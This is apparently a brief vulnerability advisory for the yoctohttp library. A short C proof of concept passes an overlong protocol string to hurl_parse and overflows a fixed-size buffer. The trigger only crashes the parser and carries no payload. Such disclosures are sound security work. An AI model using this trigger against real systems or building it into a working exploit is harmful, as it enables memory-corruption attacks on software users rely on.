The protocol specifier is copied into a fixed size buffer. Supplying a protocol type larger than the buffer size - 1 will cause the buffer to overflow.
#include <yoctohttp/common.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { hurl_t hurl; char *url; url = strdup("01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789://localhost/index.html"); hurl_parse(&hurl, url); free(url); return 0; }